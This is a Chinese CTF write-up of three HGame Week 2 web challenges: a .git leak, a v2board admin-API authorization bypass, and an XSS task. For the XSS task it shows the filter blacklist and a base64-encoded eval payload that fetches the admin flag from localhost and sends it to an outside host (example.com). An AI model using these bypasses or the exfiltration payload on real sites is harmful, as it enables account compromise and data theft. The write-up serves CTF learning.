HGame Week2 WriteUp

Git Leakage

> 电视剧里的黑客?真正的黑客!

名字就透露了，.git文件夹泄露，用githack扫一下就出来了。文件名是Th1s_1s-flag，文件内容即为flag内容

hgame{Don't^put*Git-in_web_directory}

v2board

> 请尝试获取Admin用户的订阅链接，flag格式为hgame{admin用户订阅链接中的token值}。

利用v2board越权调用接口的漏洞，任意用户登录后的auth_data作为Authorization头内容请求即可访问管理员接口，这里尝试请求 `/api/v1/admin/user/fetch` 即可得到管理员token

hgame{39d580e71705f6abac9a414def74c466}

Designer

> Come and design your button

是一道xss注入题，其中 `/button/share` 接口访问后服务器会尝试使用puppeteer去访问我们指定的 `/button/preview` 接口，其中 `/user/register` 接口检测到管理员且来源ip为 `127.0.0.1` 后会返回flag

由于preview接口对传入的内容做了限制，如下面所示

```
  const blacklist = [
    /on/i, /localStorage/i, /alert/, /fetch/, /XMLHttpRequest/, /window/, /location/,
/document/
  ]
```

因为屏蔽了on，所以显然不能尝试直接使用事件侦听器了，其他的倒是好绕过，因为没有屏蔽atob和eval方法，所以将js代码转换为base64后尝试使用eval执行，将获取到的flag发送到自己的后端服务器

```
1">
<script>eval(atob("ZmV0Y2goImh0dHA6Ly8xMjcuMC4wLjE6OTA5MC91c2VyL3JlZ2lzdGVyIiwgeyJtZXR
ob2QiOiJwb3N0IiwicmVmZXJyZXIiOiAiaHR0cDovLzEyNy4wLjAuMTo5MDkwLyIsImJvZHkiOiAie1widXNlc
m5hbWVcIjpcImFkbWluXCJ9In0pLnRoZW4ocmVxPT5yZXEudGV4dCgpKS50aGVuKHRleHQ9PntmZXRjaCgiaHR
0cHM6Ly9leGFtcGxlLmNvbS9oZ2FtZS9yZWNvcmQ/ZGF0YT0iK3RleHQpfSk7"))</script><a>
```

得到flag

hgame{b_c4re_ab0ut_prop3rt1ty_injEctiOn}